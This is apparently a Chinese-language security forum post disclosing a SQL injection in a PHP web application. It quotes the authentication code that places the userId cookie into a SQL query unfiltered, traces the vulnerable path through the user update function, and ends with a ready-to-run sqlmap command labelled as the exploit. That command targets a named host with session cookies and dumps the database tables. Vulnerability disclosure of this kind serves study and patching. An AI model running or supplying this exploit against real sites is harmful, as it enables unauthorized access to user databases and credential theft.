本帖最后由 Diana 于 2014-1-3 05:46 编辑
/public/Class/Authen.class.php
省略无关代码
请注意添加注释处代码,下同
[AppleScript] 纯文本查看 复制代码 public static function checkUserLogin() {
$_Obj = M("user");
if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
//下面的语句直接使用$_COOKIE['userId']没有过滤
$sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
//不考虑之后的代码,如果没有其他限制至少可以盲注
$info = $_Obj->query($sql);
if (!empty($_COOKIE['AuthenId']) && md5($info[0][password].Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
return true;
}
return false;
}
//下面函数与之后提到的攻击向量有关
[AppleScript] 纯文本查看 复制代码 public static function checkIsSelfData($uid) {
if (self::isAdmin()) {return true;}
if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
return false;
}
那么我们要定位漏洞代码的触发位置
/core/controller/user.class.php
攻击向量:
update()-------------》Authen::checkIsSelfData-------》checkUserLogin()
缺陷参数:userID
[AppleScript] 纯文本查看 复制代码 public function update() {
…………省略无关代码…………
//禁止修改别人的
$IsSelfData = Authen::checkIsSelfData($_Obj->id);
if (!$IsSelfData) {
$this->setValue("error", Config::lang("NOTRIGHT"));
$this->forward("error.html");
exit;
}
$_Obj->update();
StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);
}
即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射
exp:
[AppleScript] 纯文本查看 复制代码 sqlmap.py -u "http://0day5.com/index.php?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --dbms=mysql
{:soso__5548040772417742106_4:}
不回复木JJ 伸手党木JJ |